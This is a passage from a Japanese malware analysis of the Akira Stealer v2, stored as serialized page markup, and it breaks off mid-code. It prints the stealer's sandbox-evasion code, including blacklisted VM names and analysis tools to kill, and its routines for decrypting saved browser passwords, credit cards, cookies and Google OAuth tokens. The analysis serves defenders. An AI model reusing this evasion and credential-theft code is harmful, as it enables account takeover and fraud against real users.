'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[550,5626,5624],{"__ignoreMap":594},[532,5628,5629],{},[539,5630,5631],{},"ブラックリスト対象のユーザーアカウント",[588,5633,5636],{"className":5634,"code":5635,"language":593},[591],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[550,5637,5635],{"__ignoreMap":594},[532,5639,5640],{},[539,5641,5642],{},"ブラックリスト対象の解析ツールプロセス",[588,5644,5647],{"className":5645,"code":5646,"language":593},[591],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[550,5648,5646],{"__ignoreMap":594},[532,5650,5651],{},[539,5652,5653],{},"中核となる検出メソッド",[588,5655,5657],{"className":4486,"code":5656,"language":4488,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[550,5658,5659,5663,5667,5672,5676,5680,5685,5690,5695,5699,5703,5707,5711,5715,5719,5724,5729,5733,5737,5741,5746,5751,5755,5759,5763,5768,5773,5778,5783,5789,5794,5799,5804,5809,5814,5819,5825,5831,5837,5842,5847,5852,5857,5863,5868,5873,5878,5883,5888,5893,5899,5905,5911,5917,5922,5927,5933,5939,5945,5951,5956,5961,5967,5972,5977,5983,5989,5995,6000,6006,6012,6017,6023,6029,6034,6039,6044,6050],{"__ignoreMap":594},[1680,5660,5661],{"class":1682,"line":1683},[1680,5662,4972],{},[1680,5664,5665],{"class":1682,"line":2058},[1680,5666,5130],{},[1680,5668,5669],{"class":1682,"line":2064},[1680,5670,5671],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1680,5673,5674],{"class":1682,"line":2070},[1680,5675,5135],{},[1680,5677,5678],{"class":1682,"line":2393},[1680,5679,5140],{},[1680,5681,5682],{"class":1682,"line":2399},[1680,5683,5684],{},"            \"wmic csproduct get uuid\",\n",[1680,5686,5687],{"class":1682,"line":3051},[1680,5688,5689],{},"            shell=True, capture_output=True\n",[1680,5691,5692],{"class":1682,"line":3846},[1680,5693,5694],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1680,5696,5697],{"class":1682,"line":3852},[1680,5698,5160],{},[1680,5700,5701],{"class":1682,"line":4099},[1680,5702,5165],{},[1680,5704,5705],{"class":1682,"line":5020},[1680,5706,5170],{},[1680,5708,5709],{"class":1682,"line":5026},[1680,5710,3843],{"emptyLinePlaceholder":325},[1680,5712,5713],{"class":1682,"line":5032},[1680,5714,4972],{},[1680,5716,5717],{"class":1682,"line":5038},[1680,5718,5199],{},[1680,5720,5721],{"class":1682,"line":5044},[1680,5722,5723],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1680,5725,5726],{"class":1682,"line":5050},[1680,5727,5728],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1680,5730,5731],{"class":1682,"line":5056},[1680,5732,3843],{"emptyLinePlaceholder":325},[1680,5734,5735],{"class":1682,"line":5062},[1680,5736,4972],{},[1680,5738,5739],{"class":1682,"line":5068},[1680,5740,5264],{},[1680,5742,5743],{"class":1682,"line":5074},[1680,5744,5745],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1680,5747,5748],{"class":1682,"line":5080},[1680,5749,5750],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1680,5752,5753],{"class":1682,"line":5086},[1680,5754,3843],{"emptyLinePlaceholder":325},[1680,5756,5757],{"class":1682,"line":5092},[1680,5758,4972],{},[1680,5760,5761],{"class":1682,"line":5098},[1680,5762,5332],{},[1680,5764,5765],{"class":1682,"line":5104},[1680,5766,5767],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1680,5769,5771],{"class":1682,"line":5770},26,[1680,5772,5337],{},[1680,5774,5776],{"class":1682,"line":5775},27,[1680,5777,5135],{},[1680,5779,5781],{"class":1682,"line":5780},28,[1680,5782,5346],{},[1680,5784,5786],{"class":1682,"line":5785},29,[1680,5787,5788],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1680,5790,5792],{"class":1682,"line":5791},30,[1680,5793,5361],{},[1680,5795,5797],{"class":1682,"line":5796},31,[1680,5798,5160],{},[1680,5800,5802],{"class":1682,"line":5801},32,[1680,5803,5370],{},[1680,5805,5807],{"class":1682,"line":5806},33,[1680,5808,3843],{"emptyLinePlaceholder":325},[1680,5810,5812],{"class":1682,"line":5811},34,[1680,5813,4972],{},[1680,5815,5817],{"class":1682,"line":5816},35,[1680,5818,5400],{},[1680,5820,5822],{"class":1682,"line":5821},36,[1680,5823,5824],{},"    \"\"\"\n",[1680,5826,5828],{"class":1682,"line":5827},37,[1680,5829,5830],{},"    Attempt TLS to random subdomain.\n",[1680,5832,5834],{"class":1682,"line":5833},38,[1680,5835,5836],{},"    Failure → possible HTTPS interception/sandbox.\n",[1680,5838,5840],{"class":1682,"line":5839},39,[1680,5841,5824],{},[1680,5843,5845],{"class":1682,"line":5844},40,[1680,5846,5405],{},[1680,5848,5850],{"class":1682,"line":5849},41,[1680,5851,5135],{},[1680,5853,5855],{"class":1682,"line":5854},42,[1680,5856,5414],{},[1680,5858,5860],{"class":1682,"line":5859},43,[1680,5861,5862],{},"        return True\n",[1680,5864,5866],{"class":1682,"line":5865},44,[1680,5867,5160],{},[1680,5869,5871],{"class":1682,"line":5870},45,[1680,5872,5370],{},[1680,5874,5876],{"class":1682,"line":5875},46,[1680,5877,3843],{"emptyLinePlaceholder":325},[1680,5879,5881],{"class":1682,"line":5880},47,[1680,5882,4972],{},[1680,5884,5886],{"class":1682,"line":5885},48,[1680,5887,5457],{},[1680,5889,5891],{"class":1682,"line":5890},49,[1680,5892,5824],{},[1680,5894,5896],{"class":1682,"line":5895},50,[1680,5897,5898],{},"    Look for VirtualBox/VMware in:\n",[1680,5900,5902],{"class":1682,"line":5901},51,[1680,5903,5904],{},"    - Registry driver entries\n",[1680,5906,5908],{"class":1682,"line":5907},52,[1680,5909,5910],{},"    - Video card name via WMIC\n",[1680,5912,5914],{"class":1682,"line":5913},53,[1680,5915,5916],{},"    - Presence of VM-specific folders\n",[1680,5918,5920],{"class":1682,"line":5919},54,[1680,5921,5824],{},[1680,5923,5925],{"class":1682,"line":5924},55,[1680,5926,5462],{},[1680,5928,5930],{"class":1682,"line":5929},56,[1680,5931,5932],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1680,5934,5936],{"class":1682,"line":5935},57,[1680,5937,5938],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1680,5940,5942],{"class":1682,"line":5941},58,[1680,5943,5944],{},"        shell=True, capture_output=True\n",[1680,5946,5948],{"class":1682,"line":5947},59,[1680,5949,5950],{},"    )\n",[1680,5952,5954],{"class":1682,"line":5953},60,[1680,5955,5477],{},[1680,5957,5959],{"class":1682,"line":5958},61,[1680,5960,5932],{},[1680,5962,5964],{"class":1682,"line":5963},62,[1680,5965,5966],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1680,5968,5970],{"class":1682,"line":5969},63,[1680,5971,5944],{},[1680,5973,5975],{"class":1682,"line":5974},64,[1680,5976,5950],{},[1680,5978,5980],{"class":1682,"line":5979},65,[1680,5981,5982],{},"    gpu = any(\n",[1680,5984,5986],{"class":1682,"line":5985},66,[1680,5987,5988],{},"        x.lower() in subprocess.run(\n",[1680,5990,5992],{"class":1682,"line":5991},67,[1680,5993,5994],{},"            \"wmic path win32_VideoController get name\",\n",[1680,5996,5998],{"class":1682,"line":5997},68,[1680,5999,5689],{},[1680,6001,6003],{"class":1682,"line":6002},69,[1680,6004,6005],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1680,6007,6009],{"class":1682,"line":6008},70,[1680,6010,6011],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1680,6013,6015],{"class":1682,"line":6014},71,[1680,6016,5950],{},[1680,6018,6020],{"class":1682,"line":6019},72,[1680,6021,6022],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1680,6024,6026],{"class":1682,"line":6025},73,[1680,6027,6028],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1680,6030,6032],{"class":1682,"line":6031},74,[1680,6033,3843],{"emptyLinePlaceholder":325},[1680,6035,6037],{"class":1682,"line":6036},75,[1680,6038,4972],{},[1680,6040,6042],{"class":1682,"line":6041},76,[1680,6043,5551],{},[1680,6045,6047],{"class":1682,"line":6046},77,[1680,6048,6049],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1680,6051,6053],{"class":1682,"line":6052},78,[1680,6054,5556],{},[862,6056,6058],{"id":6057},"_7313-実行と中断のロジック","7.3.13 実行と中断のロジック",[532,6060,868],{},[2078,6062,6063,6076,6089],{},[607,6064,6065,3252,6068,6071,6072,6075],{},[539,6066,6067],{},"初期化:",[550,6069,6070],{},"Akira.__init__()"," コンストラクター内で、マルウェアはただちに ",[550,6073,6074],{},"VmProtect.isVM(1)"," を呼び出し、負荷の小さい素早い仮想化チェック（ホスト名、ユーザー、HTTPSシミュレーションなど）を行います。",[607,6077,6078,6081,6082,6085,6086,6088],{},[539,6079,6080],{},"詳細な検査:"," 最初のテストを通過すると ",[550,6083,6084],{},"VmProtect.isVM(2)"," を呼び出し、ハードウェアUUIDの検証、",[550,6087,5317],{}," によるホスティングの検出、レジストリの痕跡スキャンを含む、より網羅的なチェックを実行します。",[607,6090,6091,6094,6095,6097,6098,6100],{},[539,6092,6093],{},"中断の経路:"," いずれかのチェックが ",[550,6096,4661],{}," を返し、仮想環境または解析環境であると示された場合、コードは ",[550,6099,4665],{}," を実行し、データ収集や窃取のルーチンに入る前に実行を終了します。",[862,6102,6104],{"id":6103},"_7314-結論","7.3.14 結論",[532,6106,868],{},[532,6108,6109,6111,6112,6114],{},[4623,6110,650],{}," の ",[550,6113,4610],{}," モジュールは、ローカルシステムのフィンガープリントとネットワークベースのヒューリスティックの双方を活用した、解析に対する多層防御を体現しています。これらの精緻なチェックを理解し計測できるようにすれば、防御側は形勢を逆転させ、こうした回避型マルウェアを実運用環境で検出できます。",[714,6116,6118],{"id":6117},"_74-ブラウザーデータの窃取","7.4 ブラウザーデータの窃取",[532,6120,720],{},[532,6122,6123,6124,557,6127,6130],{},"Akira Stealer v2の中核的な目的の1つが、ブラウザーに保存された機微なデータの大規模な抽出です。このマルウェアは、",[539,6125,6126],{},"Chromiumベース",[539,6128,6129],{},"Geckoベース（Firefox）"," の双方のブラウザーを狙う専用モジュールを実装しています。その能力は、保存されたパスワード、Cookie、クレジットカード情報、自動入力エントリ、さらにはアカウントの完全な乗っ取りに転用できるセッショントークンの抽出と復号にまで及びます。",[532,6132,6133],{},[539,6134,6135],{},"1. 作業領域の準備",[588,6137,6139],{"className":4486,"code":6138,"language":4488,"meta":594,"style":594},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[550,6140,6141,6146,6151,6156],{"__ignoreMap":594},[1680,6142,6143],{"class":1682,"line":1683},[1680,6144,6145],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1680,6147,6148],{"class":1682,"line":2058},[1680,6149,6150],{},"os.makedirs(client_dir, exist_ok=True)\n",[1680,6152,6153],{"class":1682,"line":2064},[1680,6154,6155],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1680,6157,6158],{"class":1682,"line":2070},[1680,6159,6160],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[604,6162,6163,6170,6173,6176,6179],{},[607,6164,6165,6166],{},"システムの一時ディレクトリの下に、被害者のマシン名を冠した使い捨ての中継領域（%TEMP%\\DESKTOP-",[6167,6168,6169],"hostname",{},"）を作成し、窃取した成果物をすべて1か所にまとめてアーカイブしやすくします。",[607,6171,6172],{},"データを種類ごとに分離します。専用のサブフォルダーを6つ（Passwords、Cookies、CreditCards、History、Autofill、Wallets）用意することで名前の衝突を防ぎ、後のZIP化を簡単にします。各抽出ルーチンは自分のフォルダーにのみ書き込みます。",[607,6174,6175],{},"ディレクトリ作成は exist_ok=True によりべき等です。そのためマルウェアが再実行されても（再起動時や永続化による実行など）クラッシュしたり既存データを上書きしたりせず、新しい項目が同じ構造に追加されるだけです。",[607,6177,6178],{},"選択的なクリーンアップを容易にします。アップロードと通知が完了すると、スティーラーは Utils.clear_client_folder() を呼び出して自分の作業領域だけを再帰的に削除でき、残留ファイルを一切残しません。",[607,6180,6181],{},"並列の抽出スレッドへの下地にもなります。対象をあらかじめ作成しておくことで、ブラウザーの認証情報、Cookie、自動入力、暗号通貨ウォレットのデータなどを収集するバックグラウンドスレッドは、追加のチェックなしにただちに結果を書き込めます。これによりオーバーヘッドが減り、防御側のフックが予期しないファイルI/Oを検出する余地も小さくなります。",[532,6183,6184],{},[539,6185,6186],{},"2. 対応ブラウザー",[604,6188,6189,6231],{},[607,6190,6191,6193],{},[539,6192,6126],{},[604,6194,6195,6198,6201,6204,6207,6210,6213,6216,6219,6222,6225,6228],{},[607,6196,6197],{},"Google Chrome（Stable版とSxS版）",[607,6199,6200],{},"Microsoft Edge",[607,6202,6203],{},"Brave Browser",[607,6205,6206],{},"Opera と Opera GX",[607,6208,6209],{},"Chromium",[607,6211,6212],{},"Comodo Dragon",[607,6214,6215],{},"Epic Privacy Browser",[607,6217,6218],{},"Iridium Browser",[607,6220,6221],{},"UR Browser",[607,6223,6224],{},"Vivaldi Browser",[607,6226,6227],{},"Yandex Browser",[607,6229,6230],{},"Slimjet、Amigo、Torch、Kometa、Orbitum、CentBrowser、7Star、Sputnik、Uran",[607,6232,6233,6236,6237,6240,6241,6252,6254,6255,6264,6266,6269,6270,6273],{},[539,6234,6235],{},"Firefoxベース","（",[550,6238,6239],{},"GeckoDriver"," 経由）",[604,6242,6243,6246,6249],{},[607,6244,6245],{},"Mozilla Firefox",[607,6247,6248],{},"Waterfox",[607,6250,6251],{},"Pale Moon",[697,6253],{},"Akiraは、環境変数と広く知られたディレクトリ構造を使ってユーザープロファイルを動的に特定します。",[588,6256,6258],{"className":4486,"code":6257,"language":4488,"meta":594,"style":594},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[550,6259,6260],{"__ignoreMap":594},[1680,6261,6262],{"class":1682,"line":1683},[1680,6263,6257],{},[697,6265],{},[550,6267,6268],{},"Default"," や ",[550,6271,6272],{},"Profile 1"," などの利用可能なブラウザープロファイルを再帰的に調べ、それらのパス配下にあるSQLiteデータベースを標的にします。",[862,6275,6277],{"id":6276},"_741-抽出されるデータの種類","7.4.1 抽出されるデータの種類",[532,6279,868],{},[1393,6281,4675,6282],{},[1409,6283,6284,4675,6297,4675,6310,4675,6323,4675,6335,4675,6347,4675,6358],{},[1399,6285,4680,6286,4680,6290,4680,6294,4675],{},[1402,6287,6289],{"style":6288},"text-align: left; width: 22%;","データの種類",[1402,6291,6293],{"style":6292},"text-align: left; width: 28%;","取得元ファイル",[1402,6295,6296],{},"備考",[1399,6298,4680,6299,4680,6302,4680,6307,4675],{},[1414,6300,6301],{},"保存されたパスワード",[1414,6303,6304,6306],{},[550,6305,556],{},"（Chromium）",[1414,6308,6309],{},"DPAPIまたはAES-GCM（Chromium v80以降）で復号される",[1399,6311,4680,6312,4680,6315,4680,6320,4675],{},[1414,6313,6314],{},"Cookie",[1414,6316,6317],{},[550,6318,6319],{},"Cookies",[1414,6321,6322],{},"特にGoogle／Facebookアカウントについて、セッショントークンを含みうる",[1399,6324,4680,6325,4680,6328,4680,6332,4675],{},[1414,6326,6327],{},"自動入力データ",[1414,6329,6330],{},[550,6331,560],{},[1414,6333,6334],{},"住所、メールアドレス、電話番号など",[1399,6336,4680,6337,4680,6340,4680,6344,4675],{},[1414,6338,6339],{},"クレジットカード",[1414,6341,6342],{},[550,6343,560],{},[1414,6345,6346],{},"暗号化されている。マスターキーが必要",[1399,6348,4680,6349,4680,6352,4680,6355,4675],{},[1414,6350,6351],{},"セッショントークン",[1414,6353,6354],{},"メモリ上とCookie",[1414,6356,6357],{},"Gmail、Googleアカウント、DiscordのOAUTHリプレイを含む",[1399,6359,4680,6360,4680,6363,4680,6371,4675],{},[1414,6361,6362],{},"履歴とURL",[1414,6364,6365,620,6368],{},[550,6366,6367],{},"History",[550,6369,6370],{},"Visited Links",[1414,6372,6373],{},"これらも攻撃者へ窃取された",[827,6375],{"className":6376},[830,831],[532,6378,6379,6382],{},[539,6380,6381],{},"3. 抽出モジュール","\nマルウェア作者がブラウザーを標的にするとき、その主な宝庫は、Chrome、Firefoxおよびその同系統が認証情報、Cookie、履歴、自動入力エントリを保存する各種のSQLiteデータベースです。astor.pyは、軽量なPythonとネイティブAPIを組み合わせ、あらゆるデータを痕跡を残さず整然と抜き取り、さらにはライブのOAuthセッションのリプレイまで行います。以下は、コードそのままに沿った、モジュール単位の詳細なめぐり方です。",[862,6384,6386,6387,4407],{"id":6385},"_742-パスワードダンパー-chromiumgetpasswords","7.4.2 パスワードダンパー (",[550,6388,6389],{},"Chromium.GetPasswords",[532,6391,868],{},[532,6393,6394],{},"このモジュールは、Chromiumベースのすべてのブラウザープロファイルを体系的に探索し、保存されたログイン認証情報を抽出します。Login DataのSQLiteデータベースを標的にしてユーザー名と暗号化されたパスワードを取り出し、プラットフォームの暗号鍵（DPAPIまたはAES-GCM経由で取得）を使って平文に復号します。これらの認証情報は、侵害後の横展開やアカウント乗っ取りにおいて非常に価値があります。",[588,6396,6398],{"className":4486,"code":6397,"language":4488,"meta":594,"style":594},"for root, _, files in os.walk(self.BrowserPath):\n    for file in files:\n        if file.lower() == \"login data\":\n            # Copy DB → open → extract rows\n            results = cursor.execute(\n                \"SELECT origin_url, username_value, password_value FROM logins\"\n            ).fetchall()\n            for url, user, pwd_blob in results:\n                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n                passwords.append((url, user, clear_pwd))\n",[550,6399,6400,6405,6410,6415,6420,6425,6430,6435,6440,6445],{"__ignoreMap":594},[1680,6401,6402],{"class":1682,"line":1683},[1680,6403,6404],{},"for root, _, files in os.walk(self.BrowserPath):\n",[1680,6406,6407],{"class":1682,"line":2058},[1680,6408,6409],{},"    for file in files:\n",[1680,6411,6412],{"class":1682,"line":2064},[1680,6413,6414],{},"        if file.lower() == \"login data\":\n",[1680,6416,6417],{"class":1682,"line":2070},[1680,6418,6419],{},"            # Copy DB → open → extract rows\n",[1680,6421,6422],{"class":1682,"line":2393},[1680,6423,6424],{},"            results = cursor.execute(\n",[1680,6426,6427],{"class":1682,"line":2399},[1680,6428,6429],{},"                \"SELECT origin_url, username_value, password_value FROM logins\"\n",[1680,6431,6432],{"class":1682,"line":3051},[1680,6433,6434],{},"            ).fetchall()\n",[1680,6436,6437],{"class":1682,"line":3846},[1680,6438,6439],{},"            for url, user, pwd_blob in results:\n",[1680,6441,6442],{"class":1682,"line":3852},[1680,6443,6444],{},"                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)\n",[1680,6446,6447],{"class":1682,"line":4099},[1680,6448,6449],{},"                passwords.append((url, user, clear_pwd))\n",[604,6451,6452,6466,6472,6480,6498],{},[607,6453,6454,6455,6458,6459,6461,6462,6465],{},"ブラウザーの ",[550,6456,6457],{},"User Data"," フォルダー配下にあるすべての ",[550,6460,556],{}," SQLiteデータベースを ",[539,6463,6464],{},"特定"," します。",[607,6467,6468,6469,6465],{},"ブラウザーのロックを避けるため一時ファイルに ",[539,6470,6471],{},"コピー",[607,6473,6474,975,6477,2089],{},[539,6475,6476],{},"SQLクエリ",[550,6478,6479],{},"SELECT origin_url, username_value, password_value FROM logins",[607,6481,6482,6483,6486,6487,6490,6491,6494,6495,6465],{},"各 ",[550,6484,6485],{},"password_value"," ブロブを、AES-GCM（",[550,6488,6489],{},"v10","／",[550,6492,6493],{},"v11","）またはWindows DPAPIのフォールバックで ",[539,6496,6497],{},"復号",[607,6499,6500,6501,6504,6505,6508],{},"出力を ",[550,6502,6503],{},"Passwords/\u003CBrowserName> Passwords.txt"," に ",[539,6506,6507],{},"書き込み"," ます。",[862,6510,6512,6513,4407],{"id":6511},"_743-クレジットカードダンパー-chromiumgetcreditcards","7.4.3 クレジットカードダンパー (",[550,6514,6515],{},"Chromium.GetCreditCards",[532,6517,868],{},[532,6519,6520],{},"ここでスティーラーは、各ブラウザープロファイルのWeb Dataファイルから保存されたクレジットカード情報にアクセスします。有効期限の詳細と暗号化されたカード番号の抽出に重点を置き、パスワードと同じロジックで復号します。CVVコードは通常保存されていませんが、復元された情報はカード非提示（card-not-present）詐欺に悪用されるおそれがあります。",[588,6522,6524],{"className":4486,"code":6523,"language":4488,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n).fetchall()\nfor month, year, enc_cc in results:\n    cc_number = self.Decrypt(enc_cc, encryptionKey)\n    ccs.append((cc_number, month, year))\n",[550,6525,6526,6531,6536,6541,6546,6551],{"__ignoreMap":594},[1680,6527,6528],{"class":1682,"line":1683},[1680,6529,6530],{},"results = cursor.execute(\n",[1680,6532,6533],{"class":1682,"line":2058},[1680,6534,6535],{},"    \"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards\"\n",[1680,6537,6538],{"class":1682,"line":2064},[1680,6539,6540],{},").fetchall()\n",[1680,6542,6543],{"class":1682,"line":2070},[1680,6544,6545],{},"for month, year, enc_cc in results:\n",[1680,6547,6548],{"class":1682,"line":2393},[1680,6549,6550],{},"    cc_number = self.Decrypt(enc_cc, encryptionKey)\n",[1680,6552,6553],{"class":1682,"line":2399},[1680,6554,6555],{},"    ccs.append((cc_number, month, year))\n",[604,6557,6558,6568,6575,6583],{},[607,6559,6560,6561,6563,6564,6567],{},"各プロファイル配下の ",[550,6562,560],{}," SQLiteストアを ",[539,6565,6566],{},"標的"," にします。",[607,6569,6570,975,6572,2089],{},[539,6571,6476],{},[550,6573,6574],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6576,6577,6580,6581,6465],{},[550,6578,6579],{},"card_number_encrypted"," を、パスワードブロブとまったく同じ要領で ",[539,6582,6497],{},[607,6584,6585,6504,6588,6465],{},[550,6586,6587],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[539,6589,6590],{},"出力",[862,6592,6594,6595,4407],{"id":6593},"_744-cookieダンパー-chromiumgetcookies","7.4.4 Cookieダンパー (",[550,6596,6597],{},"Chromium.GetCookies",[532,6599,868],{},[532,6601,6602],{},"Cookie、特にセッションCookieは、パスワードなしのアカウント乗っ取りにおける格好の標的です。このモジュールはプロファイルをまたいですべてのCookieファイルをダンプし、復号したうえで、ドメイン、名前、有効期限といった重要なメタデータを収集します。フィンガープリンティングと組み合わせれば、これらのCookieは認証済みサービスに対するシームレスなリプレイ攻撃を可能にします。",[588,6604,6606],{"className":4486,"code":6605,"language":4488,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[550,6607,6608,6612,6617,6621,6626,6631],{"__ignoreMap":594},[1680,6609,6610],{"class":1682,"line":1683},[1680,6611,6530],{},[1680,6613,6614],{"class":1682,"line":2058},[1680,6615,6616],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1680,6618,6619],{"class":1682,"line":2064},[1680,6620,6540],{},[1680,6622,6623],{"class":1682,"line":2070},[1680,6624,6625],{},"for host, name, path, blob, expiry in results:\n",[1680,6627,6628],{"class":1682,"line":2393},[1680,6629,6630],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1680,6632,6633],{"class":1682,"line":2399},[1680,6634,6635],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[604,6637,6638,6646,6655,6664],{},[607,6639,6640,6641,6461,6643,6465],{},"すべての ",[550,6642,6319],{},[539,6644,6645],{},"走査",[607,6647,6648,6651,6652,6465],{},[550,6649,6650],{},"host_key, name, path, encrypted_value, expires_utc"," を ",[539,6653,6654],{},"選択",[607,6656,6482,6657,6660,6661,6663],{},[550,6658,6659],{},"encrypted_value"," ブロブを ",[539,6662,6497],{}," し、実際のCookie文字列を露わにします。",[607,6665,6666,6504,6669,6465],{},[550,6667,6668],{},"Cookies/\u003CBrowserName> Cookies.txt",[539,6670,6671],{},"保存",[862,6673,6675,6676,4407],{"id":6674},"_745-googleセッションダンパー-chromiumdump_google_sessions","7.4.5 Googleセッションダンパー (",[550,6677,6678],{},"Chromium.dump_google_sessions",[532,6680,868],{},[532,6682,6683],{},"より高度なコンポーネントの1つであるこのルーチンは、token_serviceテーブルから保存されたOAuthトークンを復号します。それらをGoogleのmultiloginエンドポイント経由でリプレイすることで、マルウェアは有効なセッションCookieを再生成でき、攻撃者は認証情報なしにGoogleアカウントを乗っ取れます。これは、現代のスティーラーにおいてアクセストークンが格好の標的になっていることを物語っています。",[588,6685,6687],{"className":4486,"code":6686,"language":4488,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = 